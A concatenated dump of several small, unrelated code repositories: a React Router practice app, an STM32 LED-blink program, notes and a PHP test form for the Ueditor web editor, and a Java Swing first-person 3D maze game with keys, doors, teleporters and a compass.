<repo_name>a1603169/react-routing-practice<file_sep>/src/App.js import './App.css'; import TodoList from './components/TodoList' import Home from './components/Home' import Contact from './components/Contact' import NotFound from './components/NotFound' import { BrowserRouter, Switch, Route, Link} from 'react-router-dom'; function App() { return ( <div className="App"> <BrowserRouter> <div> <Link to="/">Home</Link>{' '} <Link to="/contact">Contact</Link>{' '} <Link to="/about">Todolist</Link>{' '} <Switch> <Route exact path="/" component={Home} /> <Route path="/about" component={TodoList} /> <Route path="/contact" component={Contact} /> <Route path="/*" component={NotFound} /> </Switch> </div> </BrowserRouter> </div> ); } export default App; <file_sep>/src/components/About.js import React from 'react'; function About() { return( <div> <h1>My name is <NAME></h1> <p>I am learning React Router</p> </div> ) } export default About;
3c03c17bf02f58df83c6029d2377529d908b8285
[ "JavaScript" ]
2
JavaScript
a1603169/react-routing-practice
5a78c78eb9d4e8727edd15e9f39accfae2a62233
bfea3a73035a2359db858b3dff244ee9c8bec73d
refs/heads/master
<file_sep>#include <stm32f4_discovery.h> int main() { BSP_LED_Init(LED3); while(true){ HAL_Delay(1000000); BSP_LED_Toggle(LED3); } return 0; }
88de4eb1f7f70e71fe06174911ec972fdfcd5d5d
[ "C++" ]
1
C++
h3xby/stm32-hello-qbs
5d01f4292eb62804ec02d77dbc638131015fed28
27549bf68a6d5a401dae1de9e4bc129a3aa44215
refs/heads/master
<repo_name>niaochaobao/Ueditor-1<file_sep>/README.md # Ueditor Ueditor配置文件 --- #### 这是百度编辑器Ueditor的引入(将Ueditor的相关文件复制到ueditor中,即除了ueditor2所有文件复制进去) ##### Ueditor的引入开发可完全参照其官方的开发文档进行开发,在引入文件中: - 首先引入编辑器文件 `<script type="text/javascript" src="../ueditor/editor_config.js"></script>` `<script type="text/javascript" src="../ueditor/editor_all.js"></script>` - 然后进行编辑器渲染 `<script type="text/javascript">` `myed = new UE.ui.Editor();` `myed.render();` `</script>` - 最后就是在原配置文件中修改项目的路径 `URL = '/ueditor/';` - 此时Ueditor就引入成功 --- ##### 修改编辑器配置(如尺寸和工具栏) 1.直接在配置文件editor_config.js中找到相应的配置项进行修改 2.在引入文件中进行修改,实例化时在`UE.ui.Editor()`中传入配置参数即可 --- ##### 提交编辑内容 根据开发文档按需求编写,一般ajax提交时有`getContent()`和`getPlainTxt()`两种 <file_sep>/ueditor2/form.php <?php header("content:text/html;charset=utf-8"); print_r($_POST);
67b5b72bea13bb397002c09e36c914ce6b8bd581
[ "Markdown", "PHP" ]
2
Markdown
niaochaobao/Ueditor-1
bb9c730ce77b63cedbf7084f0faaa1cc910f7624
9c5e7c90bb5bcc000a985b385b887b81eaaa73f9
refs/heads/master
<repo_name>Shahil-Patel/3D-Maze-Game<file_sep>/Maze.java public class Maze{ private Explorer character; private Wall[][] walls; public Maze(Explorer character, Wall[][] walls){ this.character=character; this.walls=walls; } public Explorer getExplorer(){ return character; } public Wall[][] getWalls(){ return walls; } public void setWall(Wall[][] walls){ this.walls=walls; } public void setExplorer(Explorer character){ this.character=character; } public String toString(){ return getWalls()+""; } }<file_sep>/ShahilPatelMazeProgram.java import java.awt.Graphics; import java.awt.Color; import java.awt.Font; import javax.swing.*; import java.awt.event.*; import java.io.*; import java.util.ArrayList; import java.util.Scanner; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import java.awt.image.BufferedImage; import java.awt.image.RescaleOp; public class ShahilPatelMazeProgram extends JPanel implements KeyListener,MouseListener { JFrame frame; Wall[][] walls=null; Explorer explorer=null; Location eCord=null; int colorCode=225; Maze maze; int color1=128; int steps=0; boolean toggle=false; boolean map=false; private BufferedImage imgKey = null; private BufferedImage imgDoor = null; private BufferedImage imgMap = null; private BufferedImage imgPaint = null; boolean paint=false; Font h; boolean win=false; boolean key=false; int paintCount; int visible=3; int visTemp=3; int dir=1; int x=100,y=100; public ShahilPatelMazeProgram() { setBoard(); frame=new JFrame(); frame.add(this); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setSize(1000,800); frame.setVisible(true); frame.addKeyListener(this); try { imgDoor= ImageIO.read( new File("door.png" )); imgKey = ImageIO.read( new File("key.png" )); imgMap = ImageIO.read( new File("map.png" )); imgPaint = ImageIO.read( new File("paint.png" )); } catch ( IOException exc ) { } this.addMouseListener(this); } public void paintComponent(Graphics g) { super.paintComponent(g); g.setColor(Color.BLACK); g.fillRect(0,0,1000,800); if(visible>4){ visible=4; } if(visible<1){ visible=1; } System.out.println("Location X: "+eCord.getX()+"\nLocation Y: "+eCord.getY()+"\n"); int scaleY=100; colorCode=172; g.setColor(new Color(128,128,128)); g.fillRect(50,50,900,650); if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()==2){ win=true; } if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()==4){ for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getState()==5){ eCord=new Location(y+1,x); } } } explorer=new Explorer(20*eCord.getX()+190,20*eCord.getY()+100); } if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()==5){ for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getState()==4){ eCord=new Location(y-1,x); } } } explorer=new Explorer(20*eCord.getX()+190,20*eCord.getY()+100); } if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()==6){ for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getState()==7){ eCord=new Location(y+1,x); dir=1; } } } explorer=new Explorer(20*eCord.getX()+190,20*eCord.getY()+100); } if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()==7){ for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getState()==6){ eCord=new Location(y-1,x); } } } explorer=new Explorer(20*eCord.getX()+190,20*eCord.getY()+100); } if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()==8){ maze.getWalls()[eCord.getY()][eCord.getX()].setState(1); for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getState()==9){ maze.getWalls()[x][y].setState(1); } } } key=true; } if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()==10){ maze.getWalls()[eCord.getY()][eCord.getX()].setState(1); for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getState()==10){ maze.getWalls()[x][y].setState(1); } } } map=true; } if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()==11){ maze.getWalls()[eCord.getY()][eCord.getX()].setState(1); for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getState()==11){ maze.getWalls()[x][y].setState(1); } } } paint=true; paintCount=5; } if(maze.getWalls()[eCord.getY()][eCord.getX()].getState()!=2){ for(int x=0;x<visible;x++){ g.setColor(new Color(color1,0,0)); int[] xVert={200,50,950,800}; //top left, bottom left, bottom right, top right int[] yVert={600,700,700,600}; //top left, bottom left, bottom right, top right int[] xVert2={200,50,950,800}; //top left, bottom left, bottom right, top right int[] yVert2={600,700,700,600}; //top left, bottom left, bottom right, top right for(int y=0;y<x;y++){ scaleY=scaleY*3/4; yVert[1]=yVert[0]; xVert[1]=xVert[0]; xVert[2]=xVert[3]; yVert[2]=yVert[3]; xVert[0]=xVert[0]+scaleY*3/2; //top left x yVert[0]=yVert[0]-scaleY; //top left y yVert[3]=yVert[3]-scaleY; //top right y xVert[3]=xVert[3]-scaleY*3/2; //top right x } scaleY=100; if(color1-30>0){ color1-=28; } xVert2[0]=1000-xVert[0]; xVert2[1]=1000-xVert[1]; xVert2[2]=1000-xVert[2]; xVert2[3]=1000-xVert[3]; yVert2[0]=750-yVert[0]; yVert2[1]=750-yVert[1]; yVert2[2]=750-yVert[2]; yVert2[3]=750-yVert[3]; int[] tempx={xVert[0],xVert[1],xVert2[2],xVert2[3]}; int[] tempy={yVert[0],yVert[1],yVert2[2],yVert2[3]}; int[] tempx2={0,0,0,0}; int[] tempy2={0,0,0,0}; for(int z=0;z<4;z++){ tempx2[z]=1000-tempx[z]; tempy2[z]=750-tempy[z]; } g.fillPolygon(xVert,yVert,4); g.fillPolygon(xVert2,yVert2,4); colorCode-=26; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(tempx,tempy,4); g.fillPolygon(tempx2,tempy2,4); //0 is north //1 is east //2 is south //3 is west visible=visTemp; g.setColor(Color.BLACK); g.drawPolygon(tempx,tempy,4); g.drawPolygon(tempx2,tempy2,4); if(dir==0){ if(maze.getWalls()[eCord.getY()-x][eCord.getX()-1].getState()!=0){ g.setColor(new Color(color1+26,0,0)); g.fillPolygon(tempx,tempy,4); g.setColor(Color.BLACK); g.drawLine(xVert[1],yVert[0],xVert[0],yVert[0]); g.setColor(new Color(colorCode-26,colorCode-26,colorCode-26)); if(x+1==visible){ g.setColor(Color.BLACK); } g.fillRect(xVert[1],yVert2[0],Math.abs(xVert[1]-xVert[0]),Math.abs(yVert2[0]-yVert[0])); g.setColor(Color.BLACK); g.drawLine(xVert[0]-1,yVert[0],xVert2[3]-1,yVert2[3]); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()+1].getState()!=0){ g.setColor(new Color(color1+26,0,0)); g.fillPolygon(tempx2,tempy2,4); g.setColor(Color.BLACK); g.drawLine(xVert[3],yVert[3],xVert[2],yVert[3]); g.setColor(new Color(colorCode-26,colorCode-26,colorCode-26)); if(x+1==visible){ g.setColor(Color.BLACK); } g.fillRect(xVert2[0],yVert2[0],Math.abs(xVert[1]-xVert[0]),Math.abs(yVert2[0]-yVert[0])); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()!=1){ g.setColor(new Color(colorCode,colorCode,colorCode)); visible--; int[] px={xVert2[1],xVert2[2],xVert[1],xVert[2]}; int[] py={yVert2[1],yVert2[2],yVert[1],yVert[2]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()!=0){ g.setColor(Color.BLACK); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==3){ g.setColor(Color.YELLOW); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==2){ g.setColor(Color.RED); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==4||maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==5){ g.setColor(new Color(255,127,80)); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==6||maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==7){ g.setColor(Color.MAGENTA); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==8&&!key){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgKey,420,350,(int)(400/(1.5*x)),(int)(300/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==9&&!key){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgDoor,200,200,600,400,this); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==10&&!map){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgMap,400+20*x,320,(int)(400/(1.5*x)),(int)(300/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getState()==11&&!paint){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgPaint,400+20*x,320,(int)(200/(1.5*x)),(int)(350/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()-x][eCord.getX()].getPainted()==true){ g.setColor(new Color(145,195,120)); g.fillOval((xVert[1]+xVert[2])/2-(int)Math.sqrt(Math.abs(yVert[0]-yVert[2])),(yVert[0]+yVert[3])/2,Math.abs(yVert[0]-yVert[2]),Math.abs(yVert[0]-yVert[2])); } } else if(dir==1){ if(maze.getWalls()[eCord.getY()-1][eCord.getX()+x].getState()!=0){ g.setColor(new Color(color1+26,0,0)); g.fillPolygon(tempx,tempy,4); g.setColor(Color.BLACK); g.drawLine(xVert[1],yVert[0],xVert[0],yVert[0]); g.setColor(new Color(colorCode-26,colorCode-26,colorCode-26)); if(x+1==visible){ g.setColor(Color.BLACK); } g.fillRect(xVert[1],yVert2[0],Math.abs(xVert[1]-xVert[0]),Math.abs(yVert2[0]-yVert[0])); g.setColor(Color.BLACK); g.drawLine(xVert[0]-1,yVert[0],xVert2[3]-1,yVert2[3]); } if(maze.getWalls()[eCord.getY()+1][eCord.getX()+x].getState()!=0){ g.setColor(new Color(color1+26,0,0)); g.fillPolygon(tempx2,tempy2,4); g.setColor(Color.BLACK); g.drawLine(xVert[3],yVert[3],xVert[2],yVert[3]); g.setColor(new Color(colorCode-26,colorCode-26,colorCode-26)); if(x+1==visible){ g.setColor(Color.BLACK); } g.fillRect(xVert2[0],yVert2[0],Math.abs(xVert[1]-xVert[0]),Math.abs(yVert2[0]-yVert[0])); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()!=1){ g.setColor(new Color(colorCode,colorCode,colorCode)); visible--; int[] px={xVert2[1],xVert2[2],xVert[1],xVert[2]}; int[] py={yVert2[1],yVert2[2],yVert[1],yVert[2]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()!=0){ g.setColor(Color.BLACK); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==3){ g.setColor(Color.YELLOW); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==2){ g.setColor(Color.RED); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==4||maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==5){ g.setColor(new Color(255,127,80)); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==6||maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==7){ g.setColor(Color.MAGENTA); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==8&&!key){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgKey,420,350,(int)(400/(1.5*x)),(int)(300/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==9&&!key){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgDoor,200,200,600,400,this); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==10&&!map){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgMap,400+20*x,320,(int)(400/(1.5*x)),(int)(300/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getState()==11&&!paint){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgPaint,400+20*x,320,(int)(200/(1.5*x)),(int)(350/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()][eCord.getX()+x].getPainted()==true){ g.setColor(new Color(145,195,120)); g.fillOval((xVert[1]+xVert[2])/2-(int)Math.sqrt(Math.abs(yVert[0]-yVert[2])),(yVert[0]+yVert[3])/2,Math.abs(yVert[0]-yVert[2]),Math.abs(yVert[0]-yVert[2])); } } else if(dir==2){ if(maze.getWalls()[eCord.getY()+x][eCord.getX()+1].getState()!=0){ g.setColor(new Color(color1+26,0,0)); g.fillPolygon(tempx,tempy,4); g.setColor(Color.BLACK); g.drawLine(xVert[1],yVert[0],xVert[0],yVert[0]); g.setColor(new Color(colorCode-26,colorCode-26,colorCode-26)); if(x+1==visible){ g.setColor(Color.BLACK); } g.fillRect(xVert[1],yVert2[0],Math.abs(xVert[1]-xVert[0]),Math.abs(yVert2[0]-yVert[0])); g.setColor(Color.BLACK); g.drawLine(xVert[0]-1,yVert[0],xVert2[3]-1,yVert2[3]); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()-1].getState()!=0){ g.setColor(new Color(color1+26,0,0)); g.fillPolygon(tempx2,tempy2,4); g.setColor(Color.BLACK); g.drawLine(xVert[3],yVert[3],xVert[2],yVert[3]); g.setColor(new Color(colorCode-26,colorCode-26,colorCode-26)); if(x+1==visible){ g.setColor(Color.BLACK); } g.fillRect(xVert2[0],yVert2[0],Math.abs(xVert[1]-xVert[0]),Math.abs(yVert2[0]-yVert[0])); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()!=1){ g.setColor(new Color(colorCode,colorCode,colorCode)); visible--; int[] px={xVert2[1],xVert2[2],xVert[1],xVert[2]}; int[] py={yVert2[1],yVert2[2],yVert[1],yVert[2]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()!=0){ g.setColor(Color.BLACK); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==3){ g.setColor(Color.YELLOW); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==2){ g.setColor(Color.RED); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==4||maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==5){ g.setColor(new Color(255,127,80)); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==6||maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==7){ g.setColor(Color.MAGENTA); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==8&&!key){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgKey,420,350,(int)(400/(1.5*x)),(int)(300/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==10&&!map){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgMap,400+20*x,320,(int)(400/(1.5*x)),(int)(300/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getState()==11&&!paint){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgPaint,400+20*x,320,(int)(200/(1.5*x)),(int)(350/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()+x][eCord.getX()].getPainted()==true){ g.setColor(new Color(145,195,120)); g.fillOval((xVert[1]+xVert[2])/2-(int)Math.sqrt(Math.abs(yVert[0]-yVert[2])),(yVert[0]+yVert[3])/2,Math.abs(yVert[0]-yVert[2]),Math.abs(yVert[0]-yVert[2])); } } else if(dir==3){ if(maze.getWalls()[eCord.getY()+1][eCord.getX()-x].getState()!=0){ g.setColor(new Color(color1+26,0,0)); g.fillPolygon(tempx,tempy,4); g.setColor(Color.BLACK); g.drawLine(xVert[1],yVert[0],xVert[0],yVert[0]); g.setColor(new Color(colorCode-26,colorCode-26,colorCode-26)); if(x+1==visible){ g.setColor(Color.BLACK); } g.fillRect(xVert[1],yVert2[0],Math.abs(xVert[1]-xVert[0]),Math.abs(yVert2[0]-yVert[0])); g.setColor(Color.BLACK); g.drawLine(xVert[0]-1,yVert[0],xVert2[3]-1,yVert2[3]); } if(maze.getWalls()[eCord.getY()-1][eCord.getX()-x].getState()!=0){ g.setColor(new Color(color1+26,0,0)); g.fillPolygon(tempx2,tempy2,4); g.setColor(Color.BLACK); g.drawLine(xVert[3],yVert[3],xVert[2],yVert[3]); g.setColor(new Color(colorCode-26,colorCode-26,colorCode-26)); if(x+1==visible){ g.setColor(Color.BLACK); } g.fillRect(xVert2[0],yVert2[0],Math.abs(xVert[1]-xVert[0]),Math.abs(yVert2[0]-yVert[0])); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()!=1){ g.setColor(new Color(colorCode,colorCode,colorCode)); visible--; int[] px={xVert2[1],xVert2[2],xVert[1],xVert[2]}; int[] py={yVert2[1],yVert2[2],yVert[1],yVert[2]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()!=0){ g.setColor(Color.BLACK); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==3){ g.setColor(Color.YELLOW); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==2){ g.setColor(Color.RED); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==4||maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==5){ g.setColor(new Color(255,127,80)); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==6||maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==7){ g.setColor(Color.MAGENTA); int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.fillPolygon(px,py,4); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==8&&!key){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgKey,420,350,(int)(400/(1.5*x)),(int)(300/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==9&&!key){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgDoor,200,200,600,400,this); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==10&&!map){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgMap,400+20*x,320,(int)(400/(1.5*x)),(int)(300/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getState()==11&&!paint){ int[] px={xVert2[0],xVert2[3],xVert[0],xVert[3]}; int[] py={yVert2[0],yVert2[3],yVert[0],yVert[3]}; g.setColor(new Color(colorCode,colorCode,colorCode)); g.fillPolygon(px,py,4); g.drawImage(imgPaint,400+20*x,320,(int)(200/(1.5*x)),(int)(350/(1.5*x)),this); } if(maze.getWalls()[eCord.getY()][eCord.getX()-x].getPainted()==true){ g.setColor(new Color(145,195,120)); // g.fillPolygon(xVert,yVert,4); g.fillOval((xVert[1]+xVert[2])/2-(int)Math.sqrt(Math.abs(yVert[0]-yVert[2])),(yVert[0]+yVert[3])/2,Math.abs(yVert[0]-yVert[2]),Math.abs(yVert[0]-yVert[2])); } } } } color1=128; if(win){ Font v = new Font("Helvetica", Font.PLAIN, 50); g.setFont(v); g.setColor(Color.WHITE); g.drawString("YOU WIN",390,375); g.drawString("STEPS: "+steps,390,425); } if(toggle&&!win){ g.setColor(Color.LIGHT_GRAY); g.fillOval(700,450,200,200); g.setColor(Color.RED); h = new Font("Helvetica",Font.PLAIN,20); g.setFont(h); g.setColor(Color.WHITE); g.drawString("N",795,470); g.drawString("S",795,645); g.drawString("W",705,560); g.drawString("E",880,560); g.setColor(Color.BLACK); g.fillOval(790,540,20,20); if(dir==0){ g.setColor(Color.RED); g.fillOval(795,470,10,90); } else if(dir==1){ g.setColor(Color.RED); g.fillOval(790,545,90,10); } else if(dir==2){ g.setColor(Color.RED); g.fillOval(795,540,10,90); } else if(dir==3){ g.setColor(Color.RED); g.fillOval(720,545,90,10); } for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getState()==0){ g.setColor(Color.GREEN); g.drawRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==1){ g.setColor(Color.GREEN); } else if(maze.getWalls()[x][y].getState()==2){ g.setColor(Color.RED); g.fillRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==3){ g.setColor(Color.YELLOW); g.fillRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==3){ g.setColor(Color.YELLOW); g.fillRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==4||maze.getWalls()[x][y].getState()==5){ g.setColor(new Color(255,127,80)); g.fillRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==6||maze.getWalls()[x][y].getState()==7){ g.setColor(Color.MAGENTA); g.fillRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==8){ g.setColor(new Color(175,75,0)); g.fillRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==9){ g.setColor(new Color(175,75,0)); g.fillRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==10){ g.setColor(new Color(245,245,220)); g.fillRect(20*y+190,20*x+100,20,20); } else if(maze.getWalls()[x][y].getState()==11){ g.setColor(new Color(145,195,120)); g.fillRect(20*y+190,20*x+100,20,20); } } } for(int x=0;x<maze.getWalls().length;x++){ for(int y=0;y<maze.getWalls()[0].length;y++){ if(maze.getWalls()[x][y].getPainted()){ g.setColor(new Color(145,195,120)); g.fillOval(20*y+190,20*x+100,20,20); } } } 